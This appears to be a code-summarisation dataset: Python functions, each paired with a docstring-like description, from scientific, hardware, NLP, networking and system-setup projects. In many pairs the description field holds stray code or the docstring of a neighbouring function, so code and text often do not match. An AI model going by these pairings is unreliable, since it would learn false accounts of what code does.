stream.writelines(probes)\n\n", "nl": " Writes the given list of dtrace probes to a file. If the filealready exists, it's truncated."} {"code": "def print2(summary, string):\n pd = os.path.join(current_dir, directory)\n try:\n os.stat(pd)\n except:\n os.mkdir(pd)\n if summary:\n with open(os.path.join(pd, filename), 'w') as f:\n print(\"********* RGT Triplex: Summary information *********\",\n file=f)\n for s in summary:\n print(s, file=f)\n\n", "nl": " Show the message on the console and also save in summary. print(string)summary.append(string)def output_summary(summary, directory, filename):Save the summary log file into the defined directory"} {"code": "def compose_rel(self, edge_1, edge_2, rel_type='family', verbose=False):\n if edge_1[0] == edge_1[1]:\n return None\n if edge_2[0] == edge_2[1]:\n return None\n if edge_1[1] == edge_2[0] and edge_1[0] != edge_2[1]:\n n_edge = (edge_1[0], edge_2[1])\n if n_edge not in self.anc.family and \\\n (edge_1 in self.anc.family and\n self.anc.family[edge_1][rel_type] in self.comp_rules[rel_type]):\n if edge_2 in self.anc.family and \\\n self.anc.family[edge_2][rel_type] in self.comp_rules[rel_type][self.anc.family[edge_1][rel_type]]:\n n_rel = self.comp_rules[rel_type][self.anc.family[edge_1][rel_type]][self.anc.family[edge_2][rel_type]]\n if n_edge not in self.anc.family:\n self.anc.family[n_edge] = {}\n self.anc.family[n_edge][rel_type] = n_rel\n if verbose:\n print(edge_1, edge_2, n_rel)\n return n_edge\n return None\n", "nl": "Given an edge pair, add the edges into a single edge following the rulesin the dictionary:param edge_1: (x,z):param edge_2: (z,y):param rel_type::return: (x,y)"} {"code": "def _write_projects(self, element):", "nl": " Write Projects for project in self.target.projects:project_elem = qisys.qixml.etree.Element(\"project\")project_elem.set(\"name\", project)element.append(project_elem)def get_root(worktree): Get Root "} {"code": "def _assign_par_snps(self):\n rest_client = EnsemblRestClient(\n server=\"https://api.ncbi.nlm.nih.gov\", reqs_per_sec=1\n )\n for rsid in self._snps.loc[self._snps[\"chrom\"] == \"PAR\"].index.values:\n if \"rs\" in rsid:\n response = self._lookup_refsnp_snapshot(rsid, rest_client)\n\n if response is not None:\n for item in response[\"primary_snapshot_data\"][\n \"placements_with_allele\"\n ]:\n if \"NC_000023\" in item[\"seq_id\"]:\n assigned = self._assign_snp(rsid, item[\"alleles\"], \"X\")\n elif \"NC_000024\" in item[\"seq_id\"]:\n assigned = self._assign_snp(rsid, item[\"alleles\"], \"Y\")\n else:\n assigned = False\n\n if assigned:\n if not self._build_detected:\n self._build = self._extract_build(item)\n self._build_detected = True\n break\n", "nl": "Assign PAR SNPs to the X or Y chromosome using SNP position.References-----1. National Center for Biotechnology Information, Variation Services, RefSNP,https://api.ncbi.nlm.nih.gov/variation/v0/2. Yates et. al. (doi:10.1093/bioinformatics/btu613),``_3. Zerbino et. al. (doi.org/10.1093/nar/gkx1098), https://doi.org/10.1093/nar/gkx10984. Sherry ST, Ward MH, Kholodov M, Baker J, Phan L, Smigielski EM, Sirotkin K.dbSNP: the NCBI database of genetic variation. Nucleic Acids Res. 2001 Jan 1;29(1):308-11.5. Database of Single Nucleotide Polymorphisms (dbSNP). Bethesda (MD): National Centerfor Biotechnology Information, National Library of Medicine. dbSNP accession:rs28736870, rs113313554, and rs758419898 (dbSNP Build ID: 151). Available from:http://www.ncbi.nlm.nih.gov/SNP/"} {"code": "def current_power(self):\n return self.insight_params['currentpower']\n\n @property", "nl": "Returns the current power usage in mW."} {"code": "def GetSerialNumber(self):\n request_type = (DEVICE_TO_HOST | VENDOR_TYPE | DEVICE_RECIPIENT)\n wValue = 0\n wIndex = 0\n value = self.udev.controlRead(request_type, self.SERIAL, wValue, wIndex, 8, self.HS_DELAY)\n return value.decode()\n", "nl": "This commands reads the device USB serial number. The serialnumber consists of 8 bytes, typically ASCII numeric or hexadecimal digits(i.e. \"00000001\")."} {"code": "def first(self):\n Returns a Grammar Definition with the first n terminal symbols\n produced by the input symbol\n \"\"\"", "nl": "Returns the a grammar definition that includes all first elements of this grammarreturn self.first_lookup(self.initialsymbol)def first_lookup(self, symbol, size=1):"} {"code": "def setup(cls, **kwargs):\n assert self.ledger_api_handler.setup() is None\n self.assert_quantity_in_outbox(0)\n", "nl": "Setup the test class.super().setup(**kwargs)cls.ledger_api_handler = cast(LedgerApiHandler, cls._skill.skill_context.handlers.ledger_api)cls.logger = cls._skill.skill_context.loggercls.simple_oracle_behaviour = cast(SimpleOracleBehaviour,cls._skill.skill_context.behaviours.simple_oracle_behaviour,)cls.ledger_api_dialogues = cast(LedgerApiDialogues, cls._skill.skill_context.ledger_api_dialogues)cls.contract_api_dialogues = cast(ContractApiDialogues, cls._skill.skill_context.contract_api_dialogues)cls.signing_dialogues = cast(SigningDialogues, cls._skill.skill_context.signing_dialogues)cls.list_of_ledger_api_messages = (DialogueMessage(LedgerApiMessage.Performative.GET_BALANCE,{\"ledger_id\": ETHEREUM_LEDGER_ID, \"address\": \"some_eth_address\"},),DialogueMessage(LedgerApiMessage.Performative.SEND_SIGNED_TRANSACTION,{\"signed_transaction\": SignedTransaction(ETHEREUM_LEDGER_ID, DEFAULT_TX)},),DialogueMessage(LedgerApiMessage.Performative.GET_TRANSACTION_RECEIPT,{\"transaction_digest\": TransactionDigest(ETHEREUM_LEDGER_ID, \"some_digest\")},),DialogueMessage(LedgerApiMessage.Performative.GET_STATE,{\"ledger_id\": ETHEREUM_LEDGER_ID,\"callable\": \"some_callable\",\"args\": (),\"kwargs\": LedgerApiMessage.Kwargs({}),},),)cls.list_of_contract_api_messages = (DialogueMessage(ContractApiMessage.Performative.GET_DEPLOY_TRANSACTION,{\"ledger_id\": ETHEREUM_LEDGER_ID,\"contract_id\": \"some_contract_id\",\"callable\": \"some_callable\",\"kwargs\": ContractApiKwargs({\"some_key\": \"some_value\"}),},),DialogueMessage(ContractApiMessage.Performative.GET_DEPLOY_TRANSACTION,{\"ledger_id\": \"fetchai\",\"contract_id\": \"some_contract_id\",\"callable\": \"some_callable\",\"kwargs\": ContractApiKwargs({\"some_key\": \"some_value\"}),},),)cls.list_of_signing_messages = (DialogueMessage(SigningMessage.Performative.SIGN_TRANSACTION,{\"terms\": Terms(*DEFAULT_TERMS),\"raw_transaction\": RawTransaction(ETHEREUM_LEDGER_ID, DEFAULT_TX),},),)def test_setup(self):Test the setup method of the ledger_api handler."} {"code": "def add_signal(self, signal): # type: (Signal) -> None\n if signal not in self.signals:\n self.signals.append(signal)\n", "nl": "Add a Signal to SignalGroup.:param Signal signal: signal to add"} {"code": "def test_read_gse1_head_via_obspy(self):\n gse1file = os.path.join(self.path, 'data', 'loc_STAU20031119011659.z')\n st = read(gse1file, headonly=True)\n tr = st[0]\n self.assertEqual(tr.stats['station'], 'LE0083')\n self.assertEqual(tr.stats.npts, 3000)\n self.assertAlmostEqual(tr.stats['sampling_rate'], 124.9999924)\n self.assertEqual(tr.stats.get('channel'), ' Z')\n self.assertAlmostEqual(tr.stats.get('calib'), 16.0000001)\n self.assertEqual(str(tr.stats.starttime),\n '2003-11-19T01:16:59.990000Z')\n", "nl": "Read header via L{obspy.Trace}"} {"code": "def getPluginsByLongOption(self, longOption):\n plugins = [\n plugin for plugin in getPlugins(IReporter)\n if plugin.longOpt == longOption]\n if len(plugins) > 1:\n raise ValueError(\n \"More than one plugin found with long option %r: %r\"\n % (longOption, plugins))\n return plugins[0]\n\n", "nl": "Return the Trial reporter plugin with the given long option.If more than one is found, raise ValueError. If none are found, raiseIndexError."} {"code": "def encode(output_image_path):\n with open(output_image_path, 'rb') as image_file:\n encoded_string = base64.b64encode(image_file.read()).decode('utf-8')\n return encoded_string\n\n", "nl": "Encodes an image in base64 given its path.:param output_image_path: Image path.:return: Encoded image."} {"code": "def test_duplicateAdapterForClassAllowed(self):\n class TheOriginal(object):\n pass\n return self._duplicateAdapterForClassOrInterfaceAllowed(TheOriginal)\n\n", "nl": "Test that when L{components.ALLOW_DUPLICATES} is set to a truevalue, duplicate registrations from classes are allowed to overridethe original registration."} {"code": "def my_func(self):\n if a_func():\n yield None\n yield 1\n ''')", "nl": "This is a docstring.Yields:int or None: One, or sometimes None."} {"code": "def connector(self, **kw):\n\t\thost, port = self.address()\n\t\treturn self.driver.fit(\n\t\t\thost = host or 'localhost',\n\t\t\tport = port or 5432,\n\t\t\t**kw\n\t\t)\n", "nl": "Create a postgresql.driver connector based on the given keywords andlisten_addresses and port configuration in settings."} {"code": "def identify_element(self, x, y):\n return self.identify('element', x, y)\n", "nl": "Returns the element at position x, y.* Availability: Tk 8.6"} {"code": "def _compute_loss(self, probs, label):\n return -np.log(probs[np.where(label == 1)])\n\n\nclass SupervisedDBNRegression(NumPyAbstractSupervisedDBN, RegressorMixin):\n \"\"\"\n", "nl": "Computes categorical cross-entropy loss:param probs::param label::return:"} {"code": "def asBed(self):\n if self.strand == \"-\":\n newStart = max(0,self.start - down)\n newEnd = min(chromDict[self.chrom],self.end + up)\n else:\n newStart = max(0,self.start - up)\n newEnd = min(chromDict[self.chrom],self.end + down)\n if new:\n out = Chunk(self.chrom, newStart, newEnd,\n weight = self.weight, name = self.name, strand = self.strand)\n return out\n else:\n self.start = newStart\n self.end = newEnd", "nl": "represent output as bedout = \"\\t\".join(map(str,[self.chrom,self.start,self.end,self.weight,self.name,self.strand]))return outdef slop(self, chromDict, up = 0, down = 0, new = False):extend region, checking for chromosomal constraints"} {"code": "def test_decode_uint32(deserializer):\n address = \"0x82A978B3f5962A5b0957d9ee9eEf472EE55B42F1\"\n\n addr_value = int(address, 16)\n addr_b = addr_value.to_bytes(20, byteorder=\"big\")\n value = deserializer.functions.getAddress(addr_b, 0).call()\n assert value == address, \"Did not deserializer correctly: {} {}\".format(value, address)", "nl": "We correctly deserializer various uint32 bytes values.for i in range(2):payload = 0x01 << (8*i)encoded_payload = payload.to_bytes(2, byteorder='big')value = deserializer.functions.getUint16(encoded_payload, 0x00).call()assert value == payload, \"Did not deserializer correctly: {} {}\".format(payload, encoded_payload)def test_decode_address(deserializer):We correctly deserializer Ethereum addresses."} {"code": "def get_domain(self) -> str:\n try:\n return node.location.file\n except AttributeError:\n return None\n\n self.context = cast(RenderContext, self.context)\n node_stack = self.context.node_stack\n node = node_stack[0]\n if isinstance(node, str) or node.node_type == \"enumvalue\":\n node = node_stack[1]\n filename = get_filename(node)\n if not filename and node.node_type == \"compound\":\n file_data = self.compound_parser.parse(node.refid)", "nl": "Returns the domain for the current node.def get_filename(node) -> Optional[str]:Returns the name of a file where the declaration represented by node is located."} {"code": "def AInScanStop(self):\n\n request_type = (HOST_TO_DEVICE | VENDOR_TYPE | DEVICE_RECIPIENT)\n request = self.AIN_SCAN_STOP\n wValue = 0x0\n wIndex = 0x0\n result = self.udev.controlWrite(request_type, request, wValue, wIndex, [0x0], timeout = 100)\n", "nl": "This command stops the analog input scan (if running)."} {"code": "def serialize(self):\n result = {}\n result[\"Function Name\"] = self.name\n result[\"Instruction Count\"] = self.instrs\n result[\"Stack Frame Size\"] = self.frame\n result[\"Hash\"] = self.hash\n result[\"Is Static\"] = self.is_static\n result[\"Numeric Consts\"] = list(self.consts)\n result[\"Strings\"] = list(self.strings)\n result[\"Calls\"] = list(self.calls)\n result[\"Unknown Functions\"] = list(self.unknown_funcs)\n result[\"Unknown Globals\"] = list(self.unknown_fptrs)\n result[\"Code Block Sizes\"] = self.blocks\n result[\"Call Order\"] = self.call_order\n return result\n\n @staticmethod", "nl": "Serialize the context into a dict.Return Value:dict representing the context instance, prepared for a future JSON dump"} {"code": "def resolved(self):\n\n This renames num_cpus / num_gpus to \"CPU\" / \"GPU\", translates memory\n from bytes into 100MB memory units, and checks types.\n \"\"\"", "nl": "Returns if this ResourceSpec has default values filled out.for v in self._asdict().values():if v is None:return Falsereturn Truedef to_resource_dict(self):Returns a dict suitable to pass to raylet initialization."} {"code": "def _truncate_seq_pair(tokens_a, tokens_b, max_length):\n comp_type = tf.float16 if fp16 else tf.float32\n model = modeling.BertModel(\n config=bert_config,\n is_training=is_training,\n input_ids=input_ids,\n input_mask=input_mask,\n token_type_ids=segment_ids,\n use_one_hot_embeddings=use_one_hot_embeddings,\n comp_type=comp_type)\n\n output_layer = model.get_sequence_output()\n\n seq_len = output_layer.shape[-2].value\n hidden_size = output_layer.shape[-1].value\n\n output_weights = tf.get_variable(\n \"output_weights\", [num_labels, hidden_size],\n initializer=tf.truncated_normal_initializer(stddev=0.02))\n\n output_bias = tf.get_variable(\n \"output_bias\", [num_labels], initializer=tf.zeros_initializer())\n\n with tf.variable_scope(\"loss\"):\n if is_training:\n output_layer = tf.nn.dropout(output_layer, keep_prob=0.9)\n\n output_layer = tf.reshape(output_layer, [-1, hidden_size])\n logits = tf.matmul(output_layer, output_weights, transpose_b=True)\n logits = tf.nn.bias_add(logits, output_bias)\n logits = tf.reshape(logits, [-1, seq_len, num_labels])\n\n log_probs = tf.nn.log_softmax(logits, axis=-1)\n predictions = tf.argmax(logits, axis=-1, output_type=tf.int32)\n\n mask = tf.expand_dims(output_mask, -1)\n log_probs = log_probs * mask\n\n one_hot_labels = tf.one_hot(label_ids, depth=num_labels, dtype=tf.float32)\n per_example_loss = -tf.reduce_sum(one_hot_labels * log_probs, axis=-1)\n loss = tf.reduce_mean(per_example_loss)\n\n return (loss, per_example_loss, predictions)\n\n", "nl": "Truncates a sequence pair in place to the maximum length.# This is a simple heuristic which will always truncate the longer sequence# one token at a time. This makes more sense than truncating an equal percent# of tokens from each, since if one sequence is very short then each token# that's truncated likely contains more information than a longer sequence.while True:total_length = len(tokens_a) + len(tokens_b)if total_length <= max_length:breakif len(tokens_a) > len(tokens_b):tokens_a.pop()else:tokens_b.pop()def create_model(bert_config, is_training, input_ids, input_mask, segment_ids,label_ids, output_mask, num_labels, use_one_hot_embeddings, fp16):Creates a classification model."} {"code": "def _StrConvert(value):\n source_descriptor = source.DESCRIPTOR\n for name in node:\n child = node[name]\n field = source_descriptor.fields_by_name[name]\n if field is None:\n raise ValueError('Error: Can\\'t find field {0} in message {1}.'.format(\n name, source_descriptor.full_name))\n if child:\n if (field.label == FieldDescriptor.LABEL_REPEATED or\n field.cpp_type != FieldDescriptor.CPPTYPE_MESSAGE):\n raise ValueError('Error: Field {0} in message {1} is not a singular '\n 'message field and cannot have sub-fields.'.format(\n name, source_descriptor.full_name))\n _MergeMessage(\n child, getattr(source, name), getattr(destination, name),\n replace_message, replace_repeated)\n continue\n if field.label == FieldDescriptor.LABEL_REPEATED:\n if replace_repeated:\n destination.ClearField(_StrConvert(name))\n repeated_source = getattr(source, name)\n repeated_destination = getattr(destination, name)\n if field.cpp_type == FieldDescriptor.CPPTYPE_MESSAGE:\n for item in repeated_source:\n repeated_destination.add().MergeFrom(item)\n else:\n repeated_destination.extend(repeated_source)\n else:\n if field.cpp_type == FieldDescriptor.CPPTYPE_MESSAGE:\n if replace_message:\n destination.ClearField(_StrConvert(name))\n if source.HasField(name):\n getattr(destination, name).MergeFrom(getattr(source, name))\n else:\n setattr(destination, name, getattr(source, name))\n\n", "nl": "Converts value to str if it is not.# This file is imported by c extension and some methods like ClearField# requires string for the field name. py2/py3 has different text# type and may use unicode.if not isinstance(value, str):return value.encode('utf-8')return valuedef _MergeMessage(node, source, destination, replace_message, replace_repeated):Merge all fields specified by a sub-tree from source to destination."} {"code": "def on_batch_start(self, nn_state, epoch, batch):\n pass\n", "nl": "Called at the start of each batch.:param nn_state: The WaveFunction being trained.:type nn_state: qucumber.nn_states.WaveFunctionBase:param epoch: The current epoch.:type epoch: int:param batch: The current batch index.:type batch: int"} {"code": "def cmp(time1, time2):\n if override_curtime is None:\n override_curtime = curtime\n if timestr == \"now\":\n return override_curtime\n", "nl": "Compare time1 and time2 and return -1, 0, or 1if isinstance(time1, types.StringType):time1 = stringtotime(time1)assert time1 is not Noneif isinstance(time2, types.StringType):time2 = stringtotime(time2)assert time2 is not Noneif time1 < time2:return -1elif time1 == time2:return 0else:return 1def genstrtotime(timestr, override_curtime=None):Convert a generic time string to a time in seconds"} {"code": "def _upload_file(self, file, container): # pragma: no cover\n try:\n extension = filename.rsplit('.', 1)[1].lower()\n if extension == 'jpg':\n extension = 'jpeg'\n return extension\n except:\n return None\n", "nl": "Override by the specific uploader handler.passdef get_filename_extension(self, filename):Return filename extension."} {"code": "def memIdle(self):\n return self.data.idle_memory\n", "nl": "Returns the amount of memory the host currently has idle.:rtype: int:return: amount of idle memory in kb"} {"code": "def testInvalidRecursiveDirectoryWildcard(self):\n res = list(\n self._test_wildcard_iterator(suri(\n 'no_such_dir', '*')).IterAll(expand_top_level_buckets=True))\n self.assertEqual(0, len(res))\n", "nl": "Tests that wildcard containing '***' raises exception.try:uri = self._test_storage_uri(suri(self.test_dir, '***', 'abcd'))for unused_ in self._test_wildcard_iterator(uri).IterAll(expand_top_level_buckets=True):self.fail('Expected WildcardException not raised.')except wildcard_iterator.WildcardException as e:# Expected behavior.self.assertTrue(str(e).find('more than 2 consecutive') != -1)def testMissingDir(self):Tests that wildcard gets empty iterator when directory doesn't exist."} {"code": "def from_relativized_yaml(cls, yaml_str, metadata_url):\n try:\n body_dict = yaml.load(yaml_str, Loader=YamlLoader)\n relativized_record = METADATA_CONVERTER.structure(\n body_dict, ArtifactMetadataRecord\n )\n except Exception as e:\n raise YamlRecordParsingError(f\"Couldn't parse {cls.__name__}: {e}\") from e\n\n return relativized_record._derelativize(metadata_url)\n", "nl": "Deserializes this object from a YAML string.This is the inverse operation to ``to_relativized_yaml``, and it correspondinglyreverses the relativization of the artifact URL: the deserialized object willhave an absolute ``artifact.url`` field."} {"code": "def debugMemory(activate):\n ret = libxml2mod.xmlDebugMemory(activate)\n return ret\n", "nl": "Switch on the generation of line number for elements nodes.Also returns the number of bytes allocated and not freed bylibxml2 since memory debugging was switched on. "} {"code": "def BN_convert_float(module):\n if isinstance(module, torch.nn.modules.batchnorm._BatchNorm) and module.affine is True:\n module.float()\n for child in module.children():\n BN_convert_float(child)\n return module\n\n", "nl": "Utility function for network_to_half().Retained for legacy purposes."} {"code": "def ondisk(self):\n if self.root:\n return normalize_path_slashes(Path(self.root) + Path(self.path))\n else:\n return Path(self.path)\n\n @property", "nl": " Path.ondisk evaluates as the real filesystem path of the path,including the path's root in the data."} {"code": "def remove(self, dist):\n\n Any distributions found are added to the environment.\n `search_path` should be a sequence of ``sys.path`` items. If not\n supplied, ``sys.path`` is used. Only distributions conforming to", "nl": "Remove `dist` from the environmentself._distmap[dist.key].remove(dist)def scan(self, search_path=None):Scan `search_path` for distributions usable in this environment"} {"code": "def flops(self, inputs, outputs):\n //Mandatory args\n int mode = %(bmode)s;\n\n //Optional args\n int version = %(version)s;\n int verbose = %(verbose)s;\n int dx = %(dx)s;\n int dy = %(dy)s;\n\n\n // TODO, make out be decref before we alloc out2!\n CudaNdarray * out2 = (CudaNdarray *)CudaNdarray_Conv(%(img)s, %(kern)s,\n %(out)s, mode,\n dx, dy,\n version, verbose,\n %(max_threads_dim0)s);\n Py_XDECREF(%(out)s);\n %(out)s = out2;\n\n if (%(out)s==NULL){\n %(fail)s\n }\n\"\"\" % sub\n Implement downsample with max on the gpu.\n\n \"\"\"", "nl": " Useful with the hack in profilemode to print the MFlopsimages, kerns = inputsout, = outputsassert images[1] == kerns[1]flops = 0if self.border_mode == \"valid\":# nb mul and add by output pixelflops = kerns[2] * kerns[3] * 2# nb flops by output imageflops *= out[2] * out[3]# nb patch multipliedflops *= images[1] * kerns[0] * images[0]else:flops = (images[0] * kerns[0] * images[1] *kerns[2] * kerns[3] *images[2] * images[3] * 2)return flopsdef prepare_node(self, node, storage_map, compute_map):if node.op.max_threads_dim0 is None:cuda = theano.sandbox.cudadevice_id = cuda.use.device_numberif device_id is None:cuda.use(\"gpu\",force=False,default_to_move_computation_to_gpu=False,move_shared_float32_to_gpu=False,enable_cuda=False,test_driver=True)device_id = cuda.use.device_numbercuda_ndarray = theano.sandbox.cuda.cuda_ndarray.cuda_ndarrayprop = cuda_ndarray.device_properties(device_id)node.op.max_threads_dim0 = prop['maxThreadsDim0']def c_compile_args(self):nb = 0if (self.kshp is not None) and (self.kshp[1] is not None):nb = self.kshp[1]return ['-DTHEANO_KERN_WID=' + str(nb)] # ,'-g','-G']def c_headers(self):return ['cuda_ndarray.cuh', '']def c_code_cache_version(self):# raise this whenever modifying any of the support_code_filesreturn (0, 23)def c_support_code_apply(self, node, nodename):# REMEMBER TO RAISE c_code_cache_version when changing any of# these filesfiles = ['conv_kernel.cu', 'conv_full_kernel.cu', 'conv.cu']codes = [open(os.path.join(os.path.split(__file__)[0], f)).read()for f in files]return reduce(str.__add__, codes)def c_code(self, node, nodename, inp, out_, sub):img, kern = inpout, = out_dx = self.subsample[0]dy = self.subsample[1]version = self.versionverbose = self.verbosesub = sub.copy()max_threads_dim0 = self.max_threads_dim0if self.border_mode == \"valid\":bmode = 1else:assert self.border_mode == \"full\"bmode = 0if max_threads_dim0 is None:raise NotImplementedError(\"GpuConv.c_code should not be called \"\"directly. It should be called by \"\"make_thunk() that add some information \"\"related to the selected GPU.\")sub.update(locals())return "} {"code": "def get_node_resources(self):\n return self.static_resources_by_ip.values()\n", "nl": "Return a list of node resources (static resource sizes.Example:>>> metrics.get_node_resources()[{\"CPU\": 1}, {\"CPU\": 4, \"GPU\": 8}] # for two different nodes"} {"code": "def print_at(self, pos, text):\n self.parent.print_at(self.at_parent(pos), text)\n\n\nclass Square(HighResBase):\n \"\"\"Reimplements the sub-character block plotting to allow seamless full color in 1x2 resolution\"\"\"", "nl": "Positions the cursor and prints a text sequence[DEPRECATED] - use \"at_parent\" to get parent coordinates and other means torender text there.Args:- pos (2-sequence): screen coordinates, (0, 0) being the top-left corner.- txt: Text to render at positionThe text is printed as normal full-block characters. The method is given herejust to enable using the same coordinate numbers to display other characterswhen drawing in high resolution.Context's direction is respected when printing"} {"code": "def __init__(self, safe):\n\n Each part of a URL, e.g. the path info, the query, etc., has a\n different set of reserved characters that must be quoted. The\n quote function offers a cautious (not minimal) way to quote a\n string for most of these parts.\n\n RFC 3986 Uniform Resource Identifier (URI): Generic Syntax lists\n the following (un)reserved characters.\n\n unreserved = ALPHA / DIGIT / \"-\" / \".\" / \"_\" / \"~\"\n reserved = gen-delims / sub-delims\n gen-delims = \":\" / \"/\" / \"?\" / \"\n sub-delims = \"!\" / \"$\" / \"&\" / \"'\" / \"(\" / \")\"\n / \"*\" / \"+\" / \",\" / \";\" / \"=\"\n\n Each of the reserved characters is reserved in some component of a URL,\n but not necessarily in all of them.\n\n The quote function %-escapes all characters that are neither in the\n unreserved chars (\"always safe\") nor the additional chars set via the\n safe arg.\n", "nl": "safe: bytes object.self.safe = _ALWAYS_SAFE.union(safe)def __repr__(self):# Without this, will just display as a defaultdictreturn \"<%s %r>\" % (self.__class__.__name__, dict(self))def __missing__(self, b):# Handle a cache miss. Store quoted string in cache and return.res = chr(b) if b in self.safe else '%{:02X}'.format(b)self[b] = resreturn resdef quote(string, safe='/', encoding=None, errors=None):quote('abc def') -> 'abc%20def'"} {"code": "def test_getRawHeadersDefaultValue(self):\n h = Headers()", "nl": "L{Headers.getRawHeaders} returns the specified default value when noheader is found."} {"code": "def _is_column(col):\n\n cols = util.column_set()\n traverse(clause, {}, {'column': cols.add})\n return cols\n\n", "nl": "True if ``col`` is an instance of :class:`.ColumnElement`.return isinstance(col, ColumnElement)def _find_columns(clause):locate Column objects within the given expression."} {"code": "def test_allowing_schemes():\n validator = validators.Validator().allow_hosts(\n \"pypi.python.org\",\n \"pypi.org\",\n )\n\n assert \"pypi.python.org\" in validator.allowed_hosts\n assert \"pypi.org\" in validator.allowed_hosts\n\n", "nl": "Verify the ability to select schemes to be allowed.validator = validators.Validator().allow_schemes(\"http\", \"https\")assert \"http\" in validator.allowed_schemesassert \"https\" in validator.allowed_schemesdef test_allowing_hosts():Verify the ability to select hosts to be allowed."} {"code": "def duration(self):\n return self._duration\n\n @duration.setter", "nl": "Gets the duration of this V1alpha1Backoff. # noqa: E501Duration is the amount to back off. Default unit is seconds, but could also be a duration (e.g. \\\"2m\\\", \\\"1h\\\") # noqa: E501:return: The duration of this V1alpha1Backoff. # noqa: E501:rtype: str"} {"code": "def match(self, other, **kwargs):\n return self.operate(match_op, other, **kwargs)\n", "nl": "Implements a database-specific 'match' operator.:meth:`~.ColumnOperators.match` attempts to resolve toa MATCH-like function or operator provided by the backend.Examples include:* PostgreSQL - renders ``x @@ to_tsquery(y)``* MySQL - renders ``MATCH (x) AGAINST (y IN BOOLEAN MODE)``* Oracle - renders ``CONTAINS(x, y)``* other backends may provide special implementations.* Backends without any special implementation will emitthe operator as \"MATCH\". This is compatible with SQlite, forexample."} {"code": "def main(argv):\n try:\n opts, args = getopt.getopt(argv, \"c:hv\", [\"config\", \"help\", \"version\"])\n except getopt.GetoptError:\n syntax()\n exit(2)\n\n config_file = \"\"\n config_url = _CONF_FILE\n for opt, arg in opts:\n if opt in (\"-c\", \"--config\"):\n if arg.startswith(\"http://\") or \\\n arg.startswith(\"https://\") or \\\n arg.startswith(\"ftp://\"):\n config_url = arg\n else:\n config_file = arg\n elif opt in (\"-h\", \"--help\"):\n syntax()\n exit()\n elif opt in ('-v', \"--version\"):\n version()\n exit()\n\n if (not isroot()):\n showexec (\"Script should be run as root\", \"tpastroot\", exitonerror = 1)\n\n _UBUNTU_VERSION = platform.linux_distribution()[2]\n if (_UBUNTU_VERSION != \"precise\"):\n showexec (\"Script only for Ubuntu 12.04\", \"tpassousprecise\", exitonerror = 1)\n\n if (config_file == \"\"):\n config_file = \"/tmp/ubuntu-12.04-postinstall.cfg\"\n showexec (\"Download the configuration file\", \"rm -f \"+config_file+\" ; \"+_WGET+\" -O \"+config_file+\" \"+config_url)\n config = ConfigParser.RawConfigParser()\n config.read(config_file)\n\n if (config.has_section(\"gnome3\") and config.has_section(\"unity\")):\n showexec (\"Can not use both Gnome 3 and Unity, please change your .cfg file\", \"gnome3etunitygrosboulet\", exitonerror = 1)\n\n for action_name, action_cmd in config.items(\"preactions\"):\n showexec (\"Execute preaction \"+action_name.lstrip(\"action_\"), action_cmd)\n\n pkg_list_others = {}\n for item_type, item_value in config.items(\"repos\"):\n if (item_type.startswith(\"ppa_\")):\n showexec (\"Install repository \"+item_type.lstrip(\"ppa_\"), _APT_ADD+\" \"+item_value)\n elif (item_type.startswith(\"url_\")):\n showexec (\"Install repository \"+item_type.lstrip(\"url_\"), _APT_ADD+\" \\\\\\\"deb \"+item_value+\"\\\\\\\"\")\n elif (item_type.startswith(\"key_\")):\n showexec (\"Install key for the \"+item_type.lstrip(\"key_\")+\" repository\", _APT_KEY+\" \"+item_value)\n elif (item_type.startswith(\"pkg_\")):\n pkg_list_others[item_type] = item_value\n\n showexec (\"Update repositories\", _APT_UPDATE)\n\n showexec (\"System upgrade (~20 mins, please be patient...)\", _APT_UPGRADE)\n\n for pkg_type, pkg_list in config.items(\"packages\"):\n if (pkg_type.startswith(\"remove_\")):\n showexec (\"Remove packages \"+pkg_type.lstrip(\"remove_\"), _APT_REMOVE+\" \"+pkg_list)\n else:\n showexec (\"Install packages \"+pkg_type, _APT_INSTALL+\" \"+pkg_list)\n\n for pkg in pkg_list_others.keys():\n showexec (\"Install packages \"+pkg, _APT_INSTALL+\" \"+pkg_list_others[pkg])\n\n showexec (\"DVDs CSS encryption reader\", \"sh /usr/share/doc/libdvdread4/install-css.sh\")\n\n if (config.has_section(\"dotfiles\")):\n showexec (\"Create the ~/.bashrc.d subfolder\", \"mkdir -p $HOME/.bashrc.d\")\n if (config.has_option(\"dotfiles\", \"bashrc\")):\n showexec (\"Download bash main configuration file\", _WGET+\" -O $HOME/.bashrc \"+config.get(\"dotfiles\", \"bashrc\"))\n if (config.has_option(\"dotfiles\", \"bashrc_prompt\")):\n showexec (\"Download bash prompt configuration file\", _WGET+\" -O $HOME/.bashrc.d/bashrc_prompt \"+config.get(\"dotfiles\", \"bashrc_prompt\"))\n if (config.has_option(\"dotfiles\", \"bashrc_aliases\")):\n showexec (\"Download bash aliases configuration file\", _WGET+\" -O $HOME/.bashrc.d/bashrc_aliases \"+config.get(\"dotfiles\", \"bashrc_aliases\"))\n showexec (\"Install the bash configuration file\", \"chown -R $USERNAME:$USERNAME $HOME/.bashrc*\")\n if (config.has_option(\"dotfiles\", \"vimrc\")):\n showexec (\"Donwload the Vim configuration file\", _WGET+\" -O $HOME/.vimrc \"+config.get(\"dotfiles\", \"vimrc\"))\n showexec (\"Install the Vim configuration file\", \"chown -R $USERNAME:$USERNAME $HOME/.vimrc\")\n\n if (config.has_option(\"dotfiles\", \"htoprc\")):\n showexec (\"Download the Htop configuration file\", _WGET+\" -O $HOME/.htoprc \"+config.get(\"dotfiles\", \"htoprc\"))\n showexec (\"Install the Htop configuration file\", \"chown -R $USERNAME:$USERNAME $HOME/.htoprc\")\n\n if (config.has_option(\"dotfiles\", \"pythonrc\")):\n showexec (\"Download the Pythonrc configuration file\", _WGET+\" -O $HOME/.pythonrc \"+config.get(\"dotfiles\", \"pythonrc\"))\n showexec (\"Install the Pythonrc configuration file\", \"chown -R $USERNAME:$USERNAME $HOME/.pythonrc\")\n\n if (config.has_section(\"gnome3\")):", "nl": "Main function"} {"code": "def openssl_assert(ok):\n if ok is not True:\n exception_from_error_queue(error)\n\n return openssl_assert\n\n", "nl": "If *ok* is not True, retrieve the error from OpenSSL and raise it."} {"code": "def _hasnans(self):\n return bool(self._isnan.any())\n", "nl": "return if I have any nans; enables various perf speedups"} {"code": "def test_remove():\n lvl = LDAPValueList()\n lvl[0:2] = (\"test1\", \"test2\", \"test3\")\n lvl[1] = \"test4\"\n assert lvl == [\"test1\", \"test4\", \"test3\"]\n with pytest.raises(ValueError):\n lvl[1] = \"test3\"\n with pytest.raises(ValueError):\n lvl[1:3] = [\"test5\", \"test1\"]\n del lvl[0:2]\n assert 